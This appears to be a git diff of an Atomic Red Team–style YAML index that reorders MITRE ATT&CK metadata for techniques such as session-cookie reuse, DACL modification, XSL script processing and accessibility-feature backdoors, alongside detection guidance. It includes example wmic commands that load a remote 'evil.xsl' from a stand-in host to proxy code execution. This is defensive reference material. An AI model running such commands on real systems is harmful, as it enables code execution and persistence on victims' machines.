-      - description: Rehberger, J. (2018, December). Pivot to the Cloud using Pass
-          the Cookie. Retrieved April 5, 2019.
-        url: https://wunderwuzzi23.github.io/blog/passthecookie.html
-        source_name: Pass The Cookie
-      - source_name: Unit 42 Mac Crypto Cookies January 2019
-        url: https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/
-        description: Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware
-          Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Web Session Cookie
+      x_mitre_data_sources:
+      - 'Web Credential: Web Credential Usage'
+      - 'Application Log: Application Log Content'
+      x_mitre_version: '1.3'
+      modified: '2021-10-12T14:22:09.650Z'
+      created: '2020-01-30T17:48:49.395Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      - kill_chain_name: mitre-attack
+        phase_name: lateral-movement
+      x_mitre_defense_bypassed:
+      - System Access Controls
+      x_mitre_platforms:
+      - Office 365
+      - SaaS
+      - Google Workspace
+      - IaaS
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0
       description: |-
         Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)
 
         Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) or [Web Cookies](https://attack.mitre.org/techniques/T1606/001), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.
 
         There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)
-      id: attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      - kill_chain_name: mitre-attack
-        phase_name: lateral-movement
-      modified: '2021-04-14T13:21:37.474Z'
-      created: '2020-01-30T17:48:49.395Z'
-      x_mitre_version: '1.2'
-      x_mitre_is_subtechnique: true
-      x_mitre_defense_bypassed:
-      - System Access Controls
+      x_mitre_contributors:
+      - Jen Burns, HubSpot
+      - Johann Rehberger
       x_mitre_detection: Monitor for anomalous access of websites and cloud-based
         applications by the same user in different locations or by different systems
         that do not match expected configurations.
-      x_mitre_data_sources:
-      - 'Web Credential: Web Credential Usage'
-      - 'Application Log: Application Log Content'
-      x_mitre_contributors:
-      - Johann Rehberger
-      x_mitre_platforms:
-      - Office 365
-      - SaaS
-      - Google Workspace
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1550/004
+        external_id: T1550.004
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/60.html
+        external_id: CAPEC-60
+        source_name: capec
+      - source_name: Pass The Cookie
+        description: Rehberger, J. (2018, December). Pivot to the Cloud using Pass
+          the Cookie. Retrieved April 5, 2019.
+        url: https://wunderwuzzi23.github.io/blog/passthecookie.html
+      - url: https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/
+        description: Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware
+          Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.
+        source_name: Unit 42 Mac Crypto Cookies January 2019
     atomic_tests: []
   T1222.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1222.001
-        url: https://attack.mitre.org/techniques/T1222/001
-      - url: https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100
-        description: Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe.
-          Retrieved August 19, 2018.
-        source_name: Hybrid Analysis Icacls1 June 2018
-      - url: https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110
-        description: Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll.
-          Retrieved August 19, 2018.
-        source_name: Hybrid Analysis Icacls2 May 2018
-      - url: https://docs.microsoft.com/windows/desktop/secauthz/dacls-and-aces
-        description: Microsoft. (2018, May 30). DACLs and ACEs. Retrieved August 19,
-          2018.
-        source_name: Microsoft DACL May 2018
-      - source_name: Microsoft Access Control Lists May 2018
-        url: https://docs.microsoft.com/en-us/windows/win32/secauthz/access-control-lists
-        description: M. Satran, M. Jacobs. (2018, May 30). Access Control Lists. Retrieved
-          February 4, 2020.
-      - url: https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/
-        description: Netsurion. (2014, February 19). Monitoring File Permission Changes
-          with the Windows Security Log. Retrieved August 19, 2018.
-        source_name: EventTracker File Permissions Feb 2014
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Windows File and Directory Permissions Modification
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'Active Directory: Active Directory Object Modification'
+      - 'File: File Metadata'
+      x_mitre_version: '1.1'
+      modified: '2020-09-01T20:05:05.268Z'
+      created: '2020-02-04T19:17:41.767Z'
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      - SYSTEM
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee
       description: |-
         Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
 
         Windows implements file and directory ACLs as Discretionary Access Control Lists (DACLs).(Citation: Microsoft DACL May 2018) Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.(Citation: Microsoft Access Control Lists May 2018)
 
         Adversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, [PowerShell](https://attack.mitre.org/techniques/T1059/001) provides cmdlets that can be used to retrieve or modify file and directory DACLs. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).
-      id: attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2020-09-01T20:05:05.268Z'
-      created: '2020-02-04T19:17:41.767Z'
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      - SYSTEM
       x_mitre_detection: |-
         Monitor and investigate attempts to modify DACLs and file/directory ownership. Many of the commands used to modify DACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.
 
         Consider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'Active Directory: Active Directory Object Modification'
-      - 'File: File Metadata'
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1222/001
+        external_id: T1222.001
+        source_name: mitre-attack
+      - source_name: Hybrid Analysis Icacls1 June 2018
+        description: Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe.
+          Retrieved August 19, 2018.
+        url: https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100
+      - source_name: Hybrid Analysis Icacls2 May 2018
+        description: Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll.
+          Retrieved August 19, 2018.
+        url: https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110
+      - source_name: Microsoft DACL May 2018
+        description: Microsoft. (2018, May 30). DACLs and ACEs. Retrieved August 19,
+          2018.
+        url: https://docs.microsoft.com/windows/desktop/secauthz/dacls-and-aces
+      - url: https://docs.microsoft.com/en-us/windows/win32/secauthz/access-control-lists
+        description: M. Satran, M. Jacobs. (2018, May 30). Access Control Lists. Retrieved
+          February 4, 2020.
+        source_name: Microsoft Access Control Lists May 2018
+      - source_name: EventTracker File Permissions Feb 2014
+        description: Netsurion. (2014, February 19). Monitoring File Permission Changes
+          with the Windows Security Log. Retrieved August 19, 2018.
+        url: https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/
       identifier: T1222.001
     atomic_tests:
     - name: Take ownership using takeown utility
@@ -41078,9 +42303,61 @@ defense-evasion:
         elevation_required: true
   T1220:
     technique:
-      id: attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
       name: XSL Script Processing
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1220
+        external_id: T1220
+        source_name: mitre-attack
+      - source_name: Microsoft XSLT Script Mar 2017
+        description: Wenzel, M. et al. (2017, March 30). XSLT Stylesheet Scripting
+          Using <msxsl:script>. Retrieved July 3, 2018.
+        url: https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script
+      - source_name: Microsoft msxsl.exe
+        description: Microsoft. (n.d.). Command Line Transformation Utility (msxsl.exe).
+          Retrieved July 3, 2018.
+        url: https://www.microsoft.com/download/details.aspx?id=21714
+      - source_name: Penetration Testing Lab MSXSL July 2017
+        description: netbiosX. (2017, July 6). AppLocker Bypass – MSXSL. Retrieved
+          July 3, 2018.
+        url: https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/
+      - source_name: Reaqta MSXSL Spearphishing MAR 2018
+        description: Admin. (2018, March 2). Spear-phishing campaign leveraging on
+          MSXSL. Retrieved July 3, 2018.
+        url: https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/
+      - source_name: XSL Bypass Mar 2019
+        description: Singh, A. (2019, March 14). MSXSL.EXE and WMIC.EXE — A Way to
+          Proxy Code Execution. Retrieved August 2, 2019.
+        url: https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75
+      - url: https://lolbas-project.github.io/lolbas/Binaries/Wmic/
+        description: LOLBAS. (n.d.). Wmic.exe. Retrieved July 31, 2019.
+        source_name: LOLBAS Wmic
+      - source_name: Twitter SquiblyTwo Detection APR 2018
+        description: Desimone, J. (2018, April 18). Status Update. Retrieved July
+          3, 2018.
+        url: https://twitter.com/dez_/status/986614411711442944
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Module: Module Load'
+      x_mitre_version: '1.2'
+      modified: '2021-02-09T15:07:00.842Z'
+      x_mitre_system_requirements:
+      - Microsoft Core XML Services (MSXML) or access to wmic.exe
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      id: attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3
+      x_mitre_defense_bypassed:
+      - Anti-virus
+      - Application control
+      - Digital Certificate Validation
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
       description: |-
         Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)
 
@@ -41098,68 +42375,16 @@ defense-evasion:
 
         * Local File: <code>wmic process list /FORMAT:evil[.]xsl</code>
         * Remote File: <code>wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”</code>
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1220
-        url: https://attack.mitre.org/techniques/T1220
-      - url: https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script
-        description: Wenzel, M. et al. (2017, March 30). XSLT Stylesheet Scripting
-          Using <msxsl:script>. Retrieved July 3, 2018.
-        source_name: Microsoft XSLT Script Mar 2017
-      - url: https://www.microsoft.com/download/details.aspx?id=21714
-        description: Microsoft. (n.d.). Command Line Transformation Utility (msxsl.exe).
-          Retrieved July 3, 2018.
-        source_name: Microsoft msxsl.exe
-      - url: https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/
-        description: netbiosX. (2017, July 6). AppLocker Bypass – MSXSL. Retrieved
-          July 3, 2018.
-        source_name: Penetration Testing Lab MSXSL July 2017
-      - url: https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/
-        description: Admin. (2018, March 2). Spear-phishing campaign leveraging on
-          MSXSL. Retrieved July 3, 2018.
-        source_name: Reaqta MSXSL Spearphishing MAR 2018
-      - description: Singh, A. (2019, March 14). MSXSL.EXE and WMIC.EXE — A Way to
-          Proxy Code Execution. Retrieved August 2, 2019.
-        url: https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75
-        source_name: XSL Bypass Mar 2019
-      - source_name: LOLBAS Wmic
-        url: https://lolbas-project.github.io/lolbas/Binaries/Wmic/
-        description: LOLBAS. (n.d.). Wmic.exe. Retrieved July 31, 2019.
-      - url: https://twitter.com/dez_/status/986614411711442944
-        description: Desimone, J. (2018, April 18). Status Update. Retrieved July
-          3, 2018.
-        source_name: Twitter SquiblyTwo Detection APR 2018
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      type: attack-pattern
-      kill_chain_phases:
-      - phase_name: defense-evasion
-        kill_chain_name: mitre-attack
-      modified: '2021-02-09T15:07:00.842Z'
-      created: '2018-10-17T00:14:20.652Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_system_requirements:
-      - Microsoft Core XML Services (MSXML) or access to wmic.exe
-      x_mitre_platforms:
-      - Windows
-      x_mitre_permissions_required:
-      - User
-      x_mitre_detection: |-
-        Use process monitoring to monitor the execution and arguments of msxsl.exe and wmic.exe. Compare recent invocations of these utilities with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity (ex: URL command line arguments, creation of external network connections, loading of DLLs associated with scripting). (Citation: LOLBAS Wmic) (Citation: Twitter SquiblyTwo Detection APR 2018) Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded.
-
-        The presence of msxsl.exe or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.
-      x_mitre_defense_bypassed:
-      - Anti-virus
-      - Application control
-      - Digital Certificate Validation
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Module: Module Load'
       x_mitre_contributors:
       - Avneet Singh
       - Casey Smith
       - Praetorian
-      x_mitre_version: '1.2'
+      x_mitre_detection: |-
+        Use process monitoring to monitor the execution and arguments of msxsl.exe and wmic.exe. Compare recent invocations of these utilities with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity (ex: URL command line arguments, creation of external network connections, loading of DLLs associated with scripting). (Citation: LOLBAS Wmic) (Citation: Twitter SquiblyTwo Detection APR 2018) Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded.
+
+        The presence of msxsl.exe or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.
+      created: '2018-10-17T00:14:20.652Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       identifier: T1220
     atomic_tests:
     - name: MSXSL Bypass using local files
@@ -41318,33 +42543,30 @@ defense-evasion:
 persistence:
   T1546.008:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1546.008
-        url: https://attack.mitre.org/techniques/T1546/008
-      - external_id: CAPEC-558
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/558.html
-      - url: https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html
-        description: 'Glyer, C., Kazanciyan, R. (2012, August 20). The “Hikit” Rootkit:
-          Advanced and Persistent Attack Techniques (Part 1). Retrieved June 6, 2016.'
-        source_name: FireEye Hikit Rootkit
-      - url: https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom
-        description: Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to
-          the Kingdom. Retrieved July 5, 2017.
-        source_name: DEFCON2016 Sticky Keys
-      - url: http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/
-        description: Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse.
-          Retrieved November 12, 2014.
-        source_name: Tilbury 2014
-      - source_name: Narrator Accessibility Abuse
-        url: https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html
-        description: Comi, G. (2019, October 19). Abusing Windows 10 Narrator's 'Feedback-Hub'
-          URI for Fileless Persistence. Retrieved April 28, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Accessibility Features
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Command: Command Execution'
+      - 'File: File Creation'
+      - 'File: File Modification'
+      x_mitre_version: '1.0'
+      modified: '2020-05-13T20:37:30.048Z'
+      created: '2020-01-24T14:32:40.315Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      id: attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
       description: |-
         Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.
 
@@ -41361,37 +42583,40 @@ persistence:
         * Narrator: <code>C:\Windows\System32\Narrator.exe</code>
         * Display Switcher: <code>C:\Windows\System32\DisplaySwitch.exe</code>
         * App Switcher: <code>C:\Windows\System32\AtBroker.exe</code>
-      id: attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      modified: '2020-05-13T20:37:30.048Z'
-      created: '2020-01-24T14:32:40.315Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
       x_mitre_effective_permissions:
       - SYSTEM
-      x_mitre_permissions_required:
-      - Administrator
+      x_mitre_contributors:
+      - Paul Speulstra, AECOM Global Security Operations Center
       x_mitre_detection: Changes to accessibility utility binaries or binary paths
         that do not correlate with known software, patch cycles, etc., are suspicious.
         Command line invocation of tools capable of modifying the Registry for associated
         keys are also suspicious. Utility arguments and the binaries themselves should
         be monitored for changes. Monitor Registry keys within <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
         NT\CurrentVersion\Image File Execution Options</code>.
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'Command: Command Execution'
-      - 'File: File Creation'
-      - 'File: File Modification'
-      x_mitre_contributors:
-      - Paul Speulstra, AECOM Global Security Operations Center
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1546/008
+        external_id: T1546.008
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/558.html
+        external_id: CAPEC-558
+        source_name: capec
+      - source_name: FireEye Hikit Rootkit
+        description: 'Glyer, C., Kazanciyan, R. (2012, August 20). The “Hikit” Rootkit:
+          Advanced and Persistent Attack Techniques (Part 1). Retrieved June 6, 2016.'
+        url: https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html
+      - source_name: DEFCON2016 Sticky Keys
+        description: Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to
+          the Kingdom. Retrieved July 5, 2017.
+        url: https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom
+      - source_name: Tilbury 2014
+        description: Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse.
+          Retrieved November 12, 2014.
+        url: http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/
+      - url: https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html
+        description: Comi, G. (2019, October 19). Abusing Windows 10 Narrator's 'Feedback-Hub'
+          URI for Fileless Persistence. Retrieved April 28, 2020.
+        source_name: Narrator Accessibility Abuse
       identifier: T1546.008
     atomic_tests:
     - name: Attaches Command Prompt as a Debugger to a List of Target Processes
@@ -41467,49 +42692,8 @@ persistence:
     technique:
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1098
-        url: https://attack.mitre.org/techniques/T1098
-      - source_name: Microsoft User Modified Event
-        description: 'Lich, B., Miroshnikov, A. (2017, April 5). 4738(S): A user account
-          was changed. Retrieved June 30, 2017.'
-        url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738
-      - description: Franklin Smith, R. (n.d.). Windows Security Log Event ID 4670.
-          Retrieved November 4, 2019.
-        url: https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4670
-        source_name: Microsoft Security Event 4670
-      - url: https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM
-        description: Warren, J. (2017, July 11). Manipulating User Passwords with
-          Mimikatz. Retrieved December 4, 2017.
-        source_name: InsiderThreat ChangeNTLM July 2017
-      - url: https://github.com/gentilkiwi/mimikatz/issues/92
-        description: 'Warren, J. (2017, June 22). lsadump::changentlm and lsadump::setntlm
-          work, but generate Windows events #92. Retrieved December 4, 2017.'
-        source_name: GitHub Mimikatz Issue 92 June 2017
-      description: Adversaries may manipulate accounts to maintain access to victim
-        systems. Account manipulation may consist of any action that preserves adversary
-        access to a compromised account, such as modifying credentials or permission
-        groups. These actions could also include account activity designed to subvert
-        security policies, such as performing iterative password updates to bypass
-        password duration policies and preserve the life of compromised credentials.
-        In order to create or manipulate accounts, the adversary must already have
-        sufficient permissions on systems or the domain.
-      name: Account Manipulation
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      modified: '2021-04-20T16:21:28.502Z'
-      created: '2017-05-31T21:31:12.196Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '2.2'
-      x_mitre_contributors:
-      - Jannie Li, Microsoft Threat Intelligence Center (MSTIC)
-      - Praetorian
-      - Tim MalcomVetter
+      name: Account Manipulation
       x_mitre_data_sources:
       - 'File: File Modification'
       - 'Command: Command Execution'
@@ -41517,12 +42701,12 @@ persistence:
       - 'Group: Group Modification'
       - 'User Account: User Account Modification'
       - 'Active Directory: Active Directory Object Modification'
-      x_mitre_detection: |-
-        Collect events that correlate with changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728 and 4670.(Citation: Microsoft User Modified Event)(Citation: Microsoft Security Event 4670)(Citation: Microsoft Security Event 4670) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017)
-
-        Monitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.
-
-        Monitor for unusual permissions changes that may indicate excessively broad permissions being granted to compromised accounts.
+      x_mitre_version: '2.2'
+      modified: '2021-10-18T18:57:04.505Z'
+      created: '2017-05-31T21:31:12.196Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
       x_mitre_platforms:
       - Windows
       - Azure AD
@@ -41531,6 +42715,47 @@ persistence:
       - Linux
       - macOS
       - Google Workspace
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27
+      description: Adversaries may manipulate accounts to maintain access to victim
+        systems. Account manipulation may consist of any action that preserves adversary
+        access to a compromised account, such as modifying credentials or permission
+        groups. These actions could also include account activity designed to subvert
+        security policies, such as performing iterative password updates to bypass
+        password duration policies and preserve the life of compromised credentials.
+        In order to create or manipulate accounts, the adversary must already have
+        sufficient permissions on systems or the domain.
+      x_mitre_contributors:
+      - Jannie Li, Microsoft Threat Intelligence Center (MSTIC)
+      - Praetorian
+      - Tim MalcomVetter
+      x_mitre_detection: |-
+        Collect events that correlate with changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728 and 4670.(Citation: Microsoft User Modified Event)(Citation: Microsoft Security Event 4670)(Citation: Microsoft Security Event 4670) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017)
+
+        Monitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.
+
+        Monitor for unusual permissions changes that may indicate excessively broad permissions being granted to compromised accounts.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1098
+        external_id: T1098
+        source_name: mitre-attack
+      - url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738
+        description: 'Lich, B., Miroshnikov, A. (2017, April 5). 4738(S): A user account
+          was changed. Retrieved June 30, 2017.'
+        source_name: Microsoft User Modified Event
+      - source_name: Microsoft Security Event 4670
+        description: Franklin Smith, R. (n.d.). Windows Security Log Event ID 4670.
+          Retrieved November 4, 2019.
+        url: https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4670
+      - source_name: InsiderThreat ChangeNTLM July 2017
+        description: Warren, J. (2017, July 11). Manipulating User Passwords with
+          Mimikatz. Retrieved December 4, 2017.
+        url: https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM
+      - source_name: GitHub Mimikatz Issue 92 June 2017
+        description: 'Warren, J. (2017, June 22). lsadump::changentlm and lsadump::setntlm
+          work, but generate Windows events #92. Retrieved December 4, 2017.'
+        url: https://github.com/gentilkiwi/mimikatz/issues/92
       identifier: T1098
     atomic_tests:
     - name: Admin Account Manipulate
@@ -42039,93 +43264,96 @@ persistence:
         elevation_required: false
   T1547.014:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1547.014
-        url: https://attack.mitre.org/techniques/T1547/014
-      - source_name: Klein Active Setup 2010
-        url: https://helgeklein.com/blog/2010/04/active-setup-explained/
-        description: Klein, H. (2010, April 22). Active Setup Explained. Retrieved
-          December 18, 2020.
-      - source_name: Mandiant Glyer APT 2010
-        url: https://digital-forensics.sans.org/summit-archives/2010/35-glyer-apt-persistence-mechanisms.pdf
-        description: Glyer, C. (2010). Examples of Recent APT Persitence Mechanism.
-          Retrieved December 18, 2020.
-      - source_name: Citizenlab Packrat 2015
-        url: https://citizenlab.ca/2015/12/packrat-report/
-        description: Scott-Railton, J., et al. (2015, December 8). Packrat. Retrieved
-          December 18, 2020.
-      - source_name: FireEye CFR Watering Hole 2012
-        url: https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html
-        description: Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details.
-          Retrieved December 18, 2020.
-      - source_name: SECURELIST Bright Star 2015
-        url: https://securelist.com/whos-really-spreading-through-the-bright-star/68978/
-        description: Baumgartner, K., Guerrero-Saade, J. (2015, March 4). Who’s Really
-          Spreading through the Bright Star?. Retrieved December 18, 2020.
-      - source_name: paloalto Tropic Trooper 2016
